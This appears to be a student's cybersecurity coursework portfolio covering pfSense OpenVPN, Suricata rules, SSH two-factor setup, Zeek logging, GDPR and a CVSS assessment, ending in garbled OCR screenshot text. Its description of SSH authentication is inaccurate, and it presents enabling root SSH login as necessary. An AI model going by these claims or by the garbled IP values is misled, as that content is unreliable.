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I have opened Wireshark before doing all the steps in PuTTY in order to capture all the packets. As can be seen in the first screenshot, the client sends a message to the server, requesting to setup a SSH connection. The server responds by sending back a challenge string. This is an automatically generated string, and random, that is used as an excrypted form of authentication which prevents the unencrypted password from being transmitted. The client will attempt the decryption of the message. If they succeed, the connection is established. The string value of the decrypted message is compared to the original value by the server. The second screenshot shows a successful connection and constant communication between the server and the client using encrypted messages. The client encrypts the string message with a private key and sends it to the server, while the server decrypts the string message.
· Sources:
· https://networkencyclopedia.com/challenge-handshake-authentication-protocol-chap/
· https://documentation.help/PuTTY/you-what.html
· https://ubuntu.com/server/docs/web-servers-apache
· https://www.digitalocean.com/community/tutorials/how-to-install-the-apache-web-server-on-ubuntu-20-04 
[bookmark: _Toc93077042]Security Engineer 4 – Secure Remote Access and Management (VPN)
· Create a VPN connection from a WAN-VLAN Windows 10 machine to your own Seclab demo network. You can realize this by configuring OpenVPN on your pfSense firewall.
I have opened the pfSense firewall and entered the pfSense website on my ubuntu desktop machine. From there, I went to create a certificate authority called OpenVPN-CA.[image: A screenshot of a computer
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[image: Graphical user interface, text, application
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After its creation, the certificate authority can be seen in the CAs menu:[image: A screenshot of a computer
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After this, I have pressed the Add button to create an internal certificate, called OpenVPN-ServerCert:[image: A screenshot of a computer
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[image: Graphical user interface, text, application
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The certificate authority needs to be OpenVPN-CA, the one I had just created previously. Next up, I have to create a new VPN user. On the creation menu, I need to write down a username and a password. These are the credentials I am going to use once the VPN is set.[image: Graphical user interface, text, application
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[image: Graphical user interface, text, application, email
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After saving, I can look at the users in the user manager tab. The second one is the one that I [image: Graphical user interface, application

Description automatically generated]
Next, I need to install the OpenVPN package. That can be done by accessing the package manager page and look for it on the available packages.[image: Graphical user interface, application

Description automatically generated][image: Graphical user interface, text, application, email

Description automatically generated]
After the successful installation, OpenVPN needs to be set up on pfSense. Therefore, for the next step I have accessed the OpenVPN page on the VPN menu and selected the wizards page. The type of server should be Local User Access, and the certificate needs to be the one created just before, OpenVPN-ServerCert.[image: Graphical user interface, application, Teams

Description automatically generated][image: Graphical user interface, text, application

Description automatically generated]
The local network is the IP address of the ubuntu server I am working on, except the last number will be a 0, because it will give an error and I will not be able to start my OpenVPN server. The IP address will be followed by the subnet mask, which is 24, as seen in the configuration of the pfSense firewall. For the tunnel network, a different subnet (network inside a network, making the initial network more efficient). As a consequence, the third number of the IP address has been changed from 1 to 2. If nothing is written down on the concurrent connections textbox, there will not be a limit. For security reasons, the selected number is 1. This way, only one customer can connect to the OpenVPN at a given time.[image: Graphical user interface, text, application, email
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[image: Graphical user interface, text, application, email

Description automatically generated]
The OpenVPN is now set.[image: Text

Description automatically generated with medium confidence]
On the status/services page, it can be seen that OpenVPN is up and running.[image: ]
Next up, I need to export the client.[image: Graphical user interface, text, application, email
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Once this step has been completed and saved, the OpenVPN clients is shown, containing the user, certificate name, and exports from which to choose. The current windows installer (64-bit) has been downloaded.[image: Graphical user interface, text, application
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[image: Graphical user interface, text, application, Word
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I have placed the executable file on a USB drive, and then deployed a windows machine from one of the seclab templates. I have placed the USB drive in there and installed the file.[image: Graphical user interface, text, application
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After opening the OpenVPN GUI, I have to type the username and password that I have set on the pfSense configuration of the OpenVPN, while creating the user, which can be seen in some of the earlier screenshots.
[image: Graphical user interface, application

Description automatically generated]
[image: Graphical user interface, text, application

Description automatically generated][image: ]
As it can be seen in the screenshot above, the assigned IP is almost identical to the one of the ubuntu desktop machine, where the pfSense website is open, another sign that the VPN works.
[bookmark: _Toc93077043]Security Engineer 5 – Intrusion Detection and Prevention
· Add the Suricata IDS package to your PfSense firewall.
First of all, I am going to use the 13th instruction in the pfSense machine in order to check if everything is up to date.[image: A picture containing graphical user interface
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Once all the packages are up to date, I can proceed to the next step. On the pfSense website, I will go to the available packages page and install Suricata.
[image: A screenshot of a computer
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[image: A screenshot of a computer
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Checking for the Suricata package on the services page. It is not yet active, as it must be configured first.[image: A screenshot of a computer
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Adding an interface: adding a description and saving.[image: A screenshot of a computer

Description automatically generated with medium confidence]
The interfaces that have been created can be viewed here:[image: A screenshot of a computer

Description automatically generated with medium confidence]
Going to global settings to install the snort rules:[image: A screenshot of a computer
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Creating an account at https://www.snort.org/users/sign_up:[image: A screenshot of a computer
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Once the account has been created, the Oinkcode has been generated. It is blurred in this screenshot:[image: A screenshot of a computer
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Downloading the latest Snort v2.9 ruleset. The v3 ruleset is not reccomended for this configuration. In this case, snortrules-snapshot-2983.tar.gz is the right file to download.[image: A screenshot of a computer
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The Oinkcode and the ruleset file name will be filled in the Suricata Configuration menu.[image: A screenshot of a computer
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    Further adding configuration settings:[image: A screenshot of a computer
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After saving the configuration, the rule set will be updated.[image: A screenshot of a computer
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Adding detection categories for my created interface in the Interfaces menu by ticking the following boxes:
[image: A screenshot of a computer
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[image: A screenshot of a computer
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[image: A screenshot of a computer
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   Now that the settings have been saved, Suricata can be turned on.[image: A screenshot of a computer
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Checking the alerts tab. Since Suricata has just been set up, it is empty. Over time, alerts will be shown in the table below.[image: A screenshot of a computer
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After waiting for a while, the alert entries started to appear:[image: Graphical user interface, text, application
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· Consider how you can improve the detection yourself by adjusting the ruleset and rules. Lower the False Positives by removing rules that give FP's in your tests.
The main focus is on lowering the number of false positives. This can be achieved by going on the rules menu: [image: A picture containing calendar
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In order to do so, the rules menu must be accessed.[image: A screenshot of a computer

Description automatically generated with medium confidence]
By pressing on the green dots on the left end side of each rule signature, their status can be updated from enabled to disabled. I have disabled the rules I have created for testing purposes as well.
This is the alert entries tab after having removed the false positives:[image: ] 

· Show tests and test results in your documentation.
There are multiple ways of testing the IDS. 
On the suricata menu, on Rules, the custom.rules file can be modified to generate specific alerts. Imputted text: alert tcp any any -> any any (msg: "My own testevent
detected"; content:"blah"; nocase; classtype:web-application- attack; sid:9000550; rev:1;)[image: Graphical user interface
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The generated alerts can be seen in the alerts tab:[image: ]
CanaryTweet can be used as well. After the normal link, the text “/?test=CanaryTweet” needs to be written, and a custom error, for testing purposes, will be generated. 
[image: Graphical user interface, text, application
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Looking back at the alerts tab, the canary event can be seen: [image: ]
· Document which intrusions or anomalies you want to detect for company X. What rules or rule categories could be used, and which ones are not needed?
An IDS is extremely important because it can detect hackers and prevent malware from making its way into the system. 
The rules that detect files such as doc, excel or binary files are extremely important because an executable file can be renamed with a different extension before being sent to another device, and in the case of a virus, it can return to its original extension once the transfer had been made. 
I believe that some of the options from the “invalid option” could be overlooked mainly because they can be due to the user pressing the wrong button or mistyping their password or username. There are plenty other rules that detect user input more in detail. For instance, there are rules that check for XSS, CSRF or SQL injection attempts.
· Explain the difference between NIDs and HIDs and IDS and IPS, and the meaning and relevance for your company X.
NID stands for Network-based Intrusion Detection System, also known for network IDS, is used to examine the network traffic. A network intrusion system has to include a packet sniffer to gather network traffic for further analysis. Collecting all of the data for analysis is difficult and dumping all of the traffic into files is not practical. So, with the help of NIDS, only the selective data can be captured. For instance, if a rule about type of worrisome HTTP traffic is in place, the network intrusion detection system can only capture and store HTTP packets that display those particular characteristics.
HID stands for Host-based intrusion detection system, and it is used to analyze events on a computing device rather than the data traffic that passes around the computer. HID mainly operates by taking and looking at data in admin files (log files and config files) on the computing device that it protects. Host intrusion detection system creates backups of the config files so that the settings can be restored in case of a malicious attack.
Host-based Intrusion Detection systems examine particular host-based activities, such as the software used, or the accessed documents. The Network Intrusion Detection systems examine the network traffic between computers. Therefore, NIDs can discover a hacker until he can generate an unauthorized attack, whereas HIDs will not understand anything is wrong until the hacker has breached the machine. Both are necessary for sniffing the network for suspicious activities.
[image: Diagram
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IDS stands for intrusion detection system and is used to analyze and monitor network traffic for signs that indicate attackers are trying to break into the victim’s network. IDS systems compare the current network activity to a threat database to detect several kinds of behaviors like security policy violations, malware, and port scanners.
IPS stands for intrusion prevention system, and it is located within the same area of the network as the firewall. IPS proactively denies network traffic based on a security profile if that packet represents a known security threat.
[image: Diagram
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· Resources:
· https://www.temok.com/blog/nids-vs-hids/
· https://www.varonis.com/blog/ids-vs-ips/
[bookmark: _Toc93077044]Security Engineer 6 – System defense
· Is your laptop hardened? Write down in your portfolio how you have hardened your laptop and how your laptop's system hardening can be improved?
Compared to the beginning of the Cyber Security semester, yes, my laptop has been hardened in multiple ways. Of course, it is not fully hardened, as this is an ongoing process. The first step I have taken in securing my laptop was to include password protection on several files that contain sensitive information. Also, I have created two backups of my important files: one of them is stored in a different location within the computer, and the other one is stored on an external hard drive. I had the bad habit of using the same password on multiple accounts. I have updated all the passwords, all of them are different now and all of them contain lowercase and uppercase letters, numbers, and special characters, in order to make password cracking as difficult as possible. I went back to some of the websites that I have created during the last few semesters in Fontys, as an extra activity, and added extra protection, such as defense against SQL injections, cross-site scripting, and cross-site request forgery. Through the creation of a previous BoK document, I now have a fully functional VPN, which makes internet navigation much safer. A system’s hardening can always be improved. I can always invest in better quality anti-virus software and create a firewall for my system as well, not just on my virtual machine network.
· Configure two-factor authentication using the google authenticator.
[image: ]
Firstly, I will install google authenticator using the following command:[image: ]
After the installation, I will type google-authenticator and the following question will pop up: The selected answer will be yes.[image: ]
After that, a QR code will pop up on the terminal. I have installed Google Authenticator on my phone and scanned the code. Then, the phone app generated a new 6-digit code every 30 seconds.[image: Qr code
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All of the following questions require a ‘yes’ answer. The first one is no in the screenshot only temporarily, for testing purposes. These answers update the Google configuration file and enhance the security.[image: Text
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Next up, I am opening the SSH configuration file:[image: ]
The following 2 parameters in the screenshot should be set to yes. The first one was set to no by default, while the second one was already set to yes. [image: ][image: ]
The permit root login instruction must also be set to yes. Initially, it was set on prohibit-password. This change allows the root user to user two-factor authentication, by allowing the root to login via SSH.[image: ]
PAM stands for pluggable authentication module. It provides an easy way to plug different authentication methods into the Linux system. To enable Google Authenticator with SSH, PAM and Challenge-Response authentication must be enabled. After saving and closing the file, restarting the SSH daemon will enable the change.[image: ]
The next step is to type sudo nano /etc/pam.d/sshd. #One-time password authentication via Google Authenticator and auth required pam_google_authenticator.so have been added to the file. These lines enable one-time password authentication.[image: Text
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After saving and closing the file, the two-factor authentication should be enabled. In order to test it, I typed the following command:[image: Text
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It is now functional. The terminal asked not only for my password, but also for the verification code. I typed the 6-digit verification code from the Google Authenticator on my smartphone and I managed to log in.
[bookmark: _Toc93077045]Security Engineer 7 – Law, Standards & Compliance
· Check the relevant subjects from the GDPR explanation document and explain why it is important for your project report.
GDPR stands for General Data Protection Regulation. It provides a set of standardized data protection laws regarding the processing of personal data across all member countries of the European Union.
A project report in this instance should contain the findings of the project team that can be discussed, given the presence of the non-disclosure agreement. Part of the report is a thorough analysis of the GDPR and how the team has been compliant throughout the project work.
AVG is the dutch interpretation of the GDPR, given that every country can come up with its own specific guidelines. AVG governs the GDPR guidelines but also distributes its own in-depth guidelines. Therefore, the team should also study the particularities of the AVG.
It is also important to know that processing personal data can result into a fine. The team needs to be very careful with the data they are manipulating or data that they access in order to avoid such issues.
The team also needs to be careful about everything that can be classified as personal data, for which the GDPR rules apply. According to the definition, personal data is the data by which a person can be identified. The term personal data should be interpreted as broadly as possible when gathering information.
It is also important to categorize the personal data. It includes information such as religion, physical conditions, personal information in general. In order to be able to process it, an exception must apply. The Data Breach Notification Obligation includes personal data that contains race, ethnicity, political standings, religious beliefs, memberships, medical files, sexual preference, genetic research, and biometrical data. While working with data, the team must know what can be classified as personal data in case of a data breach, since they are obligated to notify the authorities. Reporting of data leaks is mandatory. The notification about data breaches needs to be sent to the Dutch Data Protection Authority.
Risk analysis is also an important step. The scope, nature and context of the data processing need to be considered before the start of the actual processing.  An assessment of the impact needs to be done. This way, the risks are lowered when the team starts working.
While working with personal data, technical and organizational security measures are essential for a good workflow. Personal data needs to be processed in a manner that ensures its security, including protection against unauthorized or unlawful processing and against accidental loss, destruction, or damage. Integrity and Confidentiality parameters from the CIA diagram are to be taken into consideration. 
[bookmark: _Toc93077046]Security Analyst 1 – IT basic monitoring
· Set up basic monitoring for your network by using NagiosXI in the Seclab.
First of all, I am deploying the NagiosXI template:[image: Graphical user interface, text, application
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The machine has loaded correctly. It displayes the credentials and the IP address, along with the website URL that displays the left part of the screenshot.[image: A picture containing graphical user interface
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Proceeding with the NagiosXI installation and setting up the password:
[image: Graphical user interface, website
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Once this is done, the website redirects me to the home dashboard page.
[image: Graphical user interface, text, application, email
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From here, I am going to the monitoring setup for cofiguration, and I am using the auto-discovery tool running my private VLAN (A).
[image: ][image: Graphical user interface, application, Word
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From here, I can press the Show Results button, redirecting me here:
[image: Graphical user interface, text, application, email

Description automatically generated][image: Graphical user interface, text, application, email
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Now the scanned hosts will appear in the overview:
[image: Graphical user interface, application, Word
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Adding the NRPE package to further monitor another server; it can be found on the pfSense website, on the package manager.
[image: Graphical user interface, text, application

Description automatically generated][image: Graphical user interface, application, table
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Once the NRPE package has installed, I can return on the Nagios website to configure it there as well. 
[image: Graphical user interface, application, website
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· Explain in your BOK Document what you chose to monitor and why and how you configured your setup. Also include results and screenshots of tests and the working intended functionality.
I have chosen to monitor my firewall server which I have set up at the beginning of the Security Engineer BoK (see Security Engineer 2 for details).

[bookmark: _Toc93077047]Security Analyst 2 – Security Incident Management

· Think about a security incident that could happen in your 'basic knowledge company'. Perform a triage and work out a complete response as it should be done in your company. Try to include realistic roles/employees from your company in the process where needed. Do assumptions on what happened and on Indicators of Compromise. 
[image: Text
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[image: A picture containing graphical user interface

Description automatically generated]An incident in this instance can be caused by human error, hacking, fraud, sabotage, or malware. Security incident management is a process which has the goal of restoring the normal operation of a service as quickly and efficiently as possible. Triage is one of the steps that need to be taken during this process, along with alert reception, response, and the incident review. In this document I am going to address a hypothetical attack on my exercise company, DartsMasters. 
This document will analyze the scenario in which DartsMasters is attacked by malware.
· Categorizing the incident
Malware attack is an attack using a malicious program or code that is harmful to systems. It seeks to damage, invade, or disable computers, or computer systems. Given the nature of the attack and the possibilities, the potential impact can range from mild to severe. 
· Prioritizing
Malware attack requires urgent attention and measures due to its potentially severe impact and unpredictability. This big range of risk in which it can fit means that as much attention as possible needs to be put in solving this issue, even if it later proves to be minor.
· Assignment
This is a cyber security issue, so an IT specialists team is required to manage and solve the problem. This team can also help prevent such incidents by educating the employees on the matter and teaching them not to do actions that might cause the malware to enter the computer network, such as opening suspicious links or downloading suspicious files.
The second part of this document focuses on the response, which includes the technical, management, and legal sides. 
[image: Text

Description automatically generated with low confidence]
· The technical response – created by the security team
The security professionals and systems administrators have assessed the damage and have done so by examining the indicators of compromise. In this case, they found unknown applications in the system, anomalous spikes of requests in company files, unusual traffic going in and out of the network, as well as suspicious activity in privileged accounts.
The security team advises on hiring a team of security professionals who can repair the damage done to the system, and who will neutralize the threat. Given the nature malware has, the only prevention is education on the matter, therefore the employees of the company will have to attend a workshop about malware, and suspicious activities and places on the internet. Otherwise, our team can start working on a solution, but it will take longer, and it might not be as effective. As a worse case scenario, we can reset the computers and get our data back from the backup files, given that backup is done daily. However, this way we will lose everything that has been registered since the malware attack began.
· The management response – created by the management board, after analysing the security response
All the staff will be notified of the malware problem that the company is currently facing. The employees will be reminded of the main security precautions that they can take, and they will be advised to pay maximum attention for the time being, or if necessary, to cease all activities that include a computer. This information can be sent via e-mail, or even by text message, in case the employees can no longer access the computer. This assures that the information reaches everyone. The IT department can create an automated message which will be sent to all the employees.
· The legal response – created by the human resources branch of the company
The incident will cause an investigation. Its purpose is to determine whether or not an employee has purposefully allowed the malware inside the company’s systems. The data engineers could check if any secret information has become accessible and if there are any data leaks. In case they find any, the police will be notified immediately. If the employee who accidentally let the malware inside the system, disciplinary measures will be taken and decided by the board. 
[bookmark: _Toc93077048]Security Analyst 3 – IT security monitoring

· Experiment with the open-source network security monitoring sensor “Zeek” in one of your internal networks.
Connecting to the virtual machine using ssh: the password is the one of the current virtual machine and the verification code is from Google Authenticator (see Security Engineer 6 for more details):  [image: Text
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The 2 commands from the screenshot below enable package installation from an external source:[image: Text
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A sudo apt update makes sure that everything is up to date and ready for the future installation. [image: Text
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Afterwards, I can now install zeek using the following command:[image: ]
Midway through the installation, this screen pops up on the terminal, asking for a postfix configuration. The chosen option is “No configuration”. That way, the current configuration of Zeek remains unchanged.[image: Text
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Checking if zeek has been installed and if the version is the correct one:[image: Text
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Adding the zeek binary path to PATH:[image: ]
3 of the config files need to be edited in order to replace some default values to the ones of the current virtual machine. The first one is node.cfg, where the interface needs to be changed from eth0 to ens160, the interface of the virtual machine.[image: Text
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Next up is zeekctl.cfg, where MailConnectionSummary will be changed from 1 to 0, MailhostUpDown will be changed from 1 to 0 as well, and LogRotationInterval will be changed from 3600 to 86400.[image: Text
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Finally, the network.cfg file will only contain the IP address of the LAN machine in the pfSense network constructed throughout the Security Engineer Learning Outcome.[image: A screenshot of a computer
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Now that the configuration has been done, the following command will be entered to open zeekControl: [image: Text
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ZeekControl is up and running. Since this is the first time it is running, the install command will be entered:[image: Text
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The status command can also be entered. Here it shows that the service is running:[image: Text
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· Show some Zeek-logging screenshots.
Now that Zeek has started properly, typing the following 2 commands facilitates the access to the log files. Finally, a cd command to the logs folder ensures easy access:[image: ]
Visualising the conn.log file: [image: Calendar
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The conn.log file contains the live logging; therefore, it includes all the logging in one file. It contains an entry for every connection seen on the wire, with basic properties such as time and duration, originator and responder IP addresses, services and ports, payload size, etc. This log provides a comprehensive record of the network’s activity.
Visualising the http.log file:[image: Graphical user interface
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The structure of information is the same as in the conn.log file, but some parameters are different, such as the depth string or the trans string. Also, the number of instances displayed is much lower because the http.log is less active in many environments. In some cases, however, organizations implement technologies or practices to expose HTTPS as HTTP. Http.log offers a platform for examining normal, suspicious, and malicious activity. Due to its nature, it can generate a large number of false positives.
Visualizing the weird.log file:[image: A computer screen capture

Description automatically generated with medium confidence]
Weird.log contains unusual activity that can indicate malfunctioning connections, traffic that does not belong to a particular protocol, malfunctioning or misconfigured services, or even an attacker attempting to make their way past a sensor without detection.
Visualizing the notice.log file:[image: Text
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The notice.log file identifies specific activity that Zeek recognizes as potentially interesting, odd, or bad. Within the Zeek environment, such activity is called a “notice”. This is the most likely place to find a false positive because triggering Zeek to classify something as a notice can happen very often. As it can be seen in the screenshot above, the errors are also considered “notice”.
· Explain, in your own words, the purpose of policy monitoring next to blacklist and whitelist monitoring.
Blacklisting is one of the oldest algorithms in computer security and it is used to block unwanted entities by most antivirus software even today. Blacklisting means creating a list containing all the applications and executables that might become a threat to the network. Blacklisting is a threat-centric method. 
Whitelisting is the opposite of blacklisting, containing a list of trusted entities. This method can either be based on policies like file name, product, and vendor, or it can be applied on an executable level, where the digital certificate or cryptographic hash of an executable is verified.
Policy monitoring is an analysis of the development and implementation of policies, with the purpose of identifying potential issues throughout the process, showing what needs to be improved and holding the policy implementers accountable for what they did. It is a tool that can improve policy information among stakeholders.
As a conclusion, policy monitoring is very important because it provides an overview of every process and showcases the things that need improving. While everyone is working on a specific thing, such as blacklisting or whitelisting, some employees can be in charge of the policy monitoring and make sure that everybody is doing their job correctly. This greatly improves the productivity levels and the quality level in everything the company is doing.
· Resources:
· https://www.manageengine.com/application-control/whitelisting-vs-blacklisting.html#q3 
· https://en.wikipedia.org/wiki/Policy_monitoring 
· https://docs.zeek.org/en/current/quickstart.html
· https://www.manpagez.com/man/1/zeek-cut/
· https://docs.zeek.org/en/master/log-formats.html
· https://kifarunix.com/install-zeek-on-ubuntu/
· https://docs.zeek.org/en/v4.0.0/logs/http.html  
[bookmark: _Toc93077049]Security Analyst 4 – Common vulnerabilities and exposures
· Asses a vulnerability inside your reference company. Find the CVSS rating and try to fill in the CVSS calculator. Find out which metrics are important to your reference company. Substantiate your choices. 
Vulnerability found: Prone to Cross-site scripting attacks
The reference company used for this document is DartsMasters, which I have already used for several documents in the Risk Consultant and Security Analyst learning outcomes.
[image: Graphical user interface, diagram
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All 3 metric groups are important and comparing them is not completely fair given that they address different topics and issues. However, in terms of financial success, a good image for the company is required. A good reputation attracts clients. From this point of view, the environmental metric group is the most important. Given that the code of the DartsMasters applications is not extremely complex, the temporal metric group is not as important. The base metric group comes second in terms of importance because it is the biggest one and it ensures the quality required for a good and secure set of applications. The reason why it is less important than the environmental metric group is that because of the nature of the DartsMasters applications, the code is not overly complex, and it does not require extreme measures to ensure security. Since DartsMasters is a forum, similar to Reddit in functionality, user interaction is high, therefore the emphasis was put in securing the forms to prevent cross-site scripting and SQL injection. As a consequence, the main risk considered here is cross-site scripting, for which I have used the CVSS calculator. The results are as follows:
[image: Graphical user interface, application, chat or text message
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Description automatically generated]	[image: Graphical user interface, text, application, chat or text message
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The results of the calculator are a confirmation of the order of priorities for said company, with the most focus needed on the environment metrics. Normally, on a larger scale company, the base metrics would be the most important. The other 2 metrics risks are medium, while the environment metrics risk is classed as high.
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Dimension

Information
Attribute

Threat

Relevance for Example Company

Confidentiality

Exclusiveness

Disclosure

Sensitive information can be acquired by hackers, who can also publish it. They can take advantage of poor
security measures and poorly written code.

Exclusiveness

Abuse

Hackers could block the administrator from accessing their resources with ransomware and ask for money to give
them back access to the system. IT companies and all companies with IT systems are vulnerable. Smaller
companies such as DartsMasters might not have the amount of money requested by the attacker.

Integrity

Correct

Tampering

Human error could be an important factor. A simple mistake can have devastating consequences, especially for a
small company. For instance, a typo in the source code could cause it all to crash, such as an extra '{* or ;". Such
errors could also be very hard to spot, especially in a large file.

Complete

Removal

Human error could also be the reason why such a risk occurs. Accidental file deletion is the main risk. A deleted
file, no matter how insignificant it might seem, could efectively shut down the whole system or severely
malfunction, causing great damages to both the company and ts users.

Complete

Addition

[Addition to the source files could potentially cause damage as big as removing a file, especially if the new addition
serves the same purpose as an already existing file. Conflicts can occur. In order to reduce this risk, only qualified
people should have access to the server.

Valid

Out of date

For a safer environment, DartsMasters’ hosting services need to be as secure as possible. For this to happen, it is
necessary to constantly update every feature of the application. Not updating the system could lead to increase
vulnerability to attacks.

Authentic

Forgery

Forgery could trick the client into logging in a hacker made system, giving the attacker access to the client's
credentials. This is a danger for both the client and the company.

Indisputability

Denial

DartsMasters hosts servers for the clients to access the application. A well secured hosting server is a mandatory
step in maintaining the company’s indisputability.

Availability

\Well timed

Delay

[An application’s success also highly depends on its response time to any kind of request. In order to ensure that,
DartsMasters needs performant servers that have both good performance and speed.

Continuity

Downtime

Performant servers for Dartsmaster to host their application in are key to reducing this risk. The biggest
consequence of downtime is worsening the company's reputation and creates distrust in their capabilities.
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5) Reboot system 14) Enable Secure Shell (sshd

6) Halt system 15) Restore recent configuration
7) Ping host 16) Restart PHP-FPM

8) Shell

Enter an option: 7

Enter a host name or 1P address: 10.8.8.1

PING 18.8.0.1 (18.8.8.1): 56 data bytes
64 bytes from 10.8.8.1: icmp_seq= tt
64 buytes from 10.8.8.1: icmp_seq=1 tt
64 bytes from 10.8.8.1: icmp_seq=2 tt

85 ms
846 ms

59 ms

--- 18.0.8.1 ping statistics -—

3 packets transmitted, 3 packets received, 8.7 packet loss
round-trip min/avg/max/stddey = 8.046/8.B64/8, 685/, 818 ms
Press ENTER to continue

pfSense - Netgate Device ID: b2e634d83db98aa2460F

== llelcome to pfSense 2.5.2-RELEASE (amd6d) on pfSense =«

AN (wan) - ms@ -> vd: 192.166.167.66/24
LAN (lan) = sl - vdr 172.16.1.1/24

D2 (opt1) - mk2 - vd: 18.8.8.1/24

@) Logout (SSH only) 9) pfTop

1) Rssign Interfaces 18) Filter Logs

2) Set interface(s) IP address 11) Restart webConfigurator

3) Reset webConfigurator passuord  12) PHP shell + pfsense tools

4) Reset to factory defaults 13) Update from console

5) Reboot system 14) Enable Secure Shell (sshd

6) Halt system 15) Restore recent configuration
7) Ping host 16) Restart PHP-FPM

8) Shell

Enter an option: |
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Activities () Terminal ~

nov29 11:12

| " student@student-virtual-machine: ~ N
RX packets 190 bytes 15648 (15.6 KB)
RX errors @ dropped 0 overruns @ frame ©
TX packets 190 bytes 15648 (15.6 kB)
il H TX errors @ dropped 0 overruns © carrier @ collisions @
student@student-virtual-nachine:~$ ping google.com
PING google.con (142.250.179.142) 56(84) bytes of data.
- 64 bytes from ams17s10-in-f14.1e160.net (142.250.179.142): icmp_seq=1
N me=4.10 ms
. 64 bytes from ams17s10-in-f14.1e100.net (142.250.179.142): icmp_seq=2
ne=4.13 ms
64 bytes from ams17s10-in-f14.1e100.net (142.250.179.142): icmp_seq=3
PS——ne=4.27 ns
. 64 bytes from ams17s10-in-f14.1e160.net (142.250.179.142): icmp_seq=4
ne=4.13 ms
64 bytes from ams17s10-in-f14.1e100.net (142.250.179.142): icmp_seq=5
ne=4.24 ms
64 bytes from ams17s10-in-f14.1e100.net (142.250.179.142): icmp_seq=6
ne=4.16 ms
64 bytes from ams17s10-in-f14.1e100.net (142.250.179.142): icmp_seq=7
ne=4.31 ms
64 bytes from ams17s10-in-f14.1e100.net (142.250.179.142): icmp_seq=8
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) Terminal v nov29 11:59

@ problemloadingpage X +

Firewall

student@student-virtual-machine: ~ Q.

--- 10.0.0.2 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2046ms

student@student-virtual-machine:~$ ping 16.6.0.11
PING 10.0.0.11 (10.0.0.11) 56(84) bytes of data.

64 bytes from 10.0.0.11: icmp_seq=1 ttl=63 time=0.610 ms

64 bytes from 10.0.0.11: icmp_seq=2 ttl=63 time=0.646 ms

64 bytes from 10 icmp_seq=3 ttl=63 time=0.475 ms

64 bytes from 10 icmp_seq=4 ttl=63 time=0.518 ms

~C

--- 10.0.0.11 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3080ms
rtt min/avg/max/mdev = 0.475/0.562/0.646/0.068 ms
student@student-virtual-machine:~$ ping 16.6.0.11

PING 10.0.0.11 (10.0.0.11) 56(84) bytes of data.

64 bytes from icmp_seg=1 tt time:

64 bytes from icmp_seq=2 tt time:

64 bytes from icmp_seq=3 ttl: time:

64 bytes from time:

~C

--- 10.0.0.11 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3063ms
rtt min/avg/max/mdev = ©.439/0.490/0.568/0.048 ms
student@student-virtual-machine:~$ |

.0.0.
.0.0.1:
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tion Actions
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User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php




image91.png
Apache2 Ubuntu Default Page

%_

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu
systems. Itis based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can
read this page, it means that the Apache HTTP server installed at this site is working properly. You should replace this
file (located at /var/www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is
currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files
optimized for interaction with Ubuntu tools. The configuration system is fully documented in
lusrishareldoc/apache2/README.Debian.gz. Refer to this for the full documentation. Documentation for the web
server itself can be found by accessing the manual if the apache2-doc package was installed on this server.

/etc/apache2/
| -- apache2.conf

| ‘-- ports.conf
| -- mods-enabled
| *. load
| t-- *.conf
|-- conf-enabled
|

I

*-- *.conf
-- sites-enabled
*-- *.conf
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/irtualHost 0>

The ServerName directive sets the request scheme, hostname and port [§
the server uses to identify itself. This is used when creating
redirection URLs. In the context of virtual hosts, the ServerName
specifies what hostname must appear in the request's Host: header to
match this virtual host. For the default virtual host (this file) thll
value is not decisive as it is used as a last resort host regardless.
However, you must set it for any further virtual host explicitly.
#ServerName localdomain.com

serverAlias www.localdomain.con

3w e R R

serverAdmin florinpana9s@gnail.com
DocumentRoot /var /www/Llocaldonain

# Available loglevels: traces, ..., tracel, debug, info, notice, warn,
# error, crit, alert, emerg.

# It is also possible to configure the loglevel for particular

# modules, e.g.

#LogLevel info ssl:warn

Get Help
Exit

B cut Text B Justify
paste Text @] To Spell

Write out where Is
Read File Replace
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~$ sudo nano /var /www/localdomain/index.htnl




image94.png
<head>
<title-Welcome to localdomain!</title~
<head>

<hi-Success! The website is working!</hi-
</body>
</html>
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" pfsense.localdomain -5t x  EEILEIGENIENELEI]

< (€] Q. localdomain.com

Success! the website is working
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SSLCertificateFile /etc/apache2/ssl/apache.crt
sSLCertificateKeyFile /etc/apache2/ssl/apache.keyll
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:\Users\panaf>tracert www.fontys.nl

Tracing route to www.fontys.nl [145.85.2.54]
over a maximum of 30 hops:

1 5
2 66
3 1
4 16
5 13
6 29
7 17
8 20
9 2
10 20
1 16
12 S
13 S
14 19
15 18

Trace complete.

ms
ms
ms
ms
ms
ms
ms
ms
ms
ms
ms

ms
ms
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35
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*
22
16
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4

9
13
21
50
2
32
19
13
13

17
*

*
16
17

ms
ms
ms
ms
ms
ms
ms
ms
ms
ms
ms

ms
ms

192.168.0.1
dhcp-077-248-082-001. chello.nl [77.248.82.1]
212.142.55.17

asd-tr@@21-cr101-bel1l-2. core.as33915.net [213.51.7.88]
nl-ams@4a-ri3-ae51-0.core.as9143.net [213.51.64.194]
ae78-0.asde@1b-jnx-01. surf.net [145.145.166.72]
ae23.dt001b-jnx-01.surf.net [145.145.176.119]
ae23.ut00la-jnx-01.surf.net [145.145.176.103]
ae20.ehve01b-jnx-01.surf.net [145.145.176.151]
4-0-2-0.ehve10a-jnx-01.surf.net [145.145.12.61]
fontys-router. customer. surf.net [145.145.12.62]
Request timed out.

Request timed out.

145.85.2.1

. fontys.nl [145.85.2.54]
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studentistudent-virtual-nachine:~5 sudo openssl req -x509 -nodes -days 365 -newk
ey rsa:2048 -keyout /etc/apache.key -out /etc/apache2/ssl/apache.crt
Generating a RSA private key

.

Rt
writing new private key to '/etc/apache.key

You are about to be asked to enter information that will be incorporated
into your certificate request.

what you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:NL

State or Province Name (full name) [Some-State]:Noord Brabant

Locality Name (eg, city) []:Eindhoven

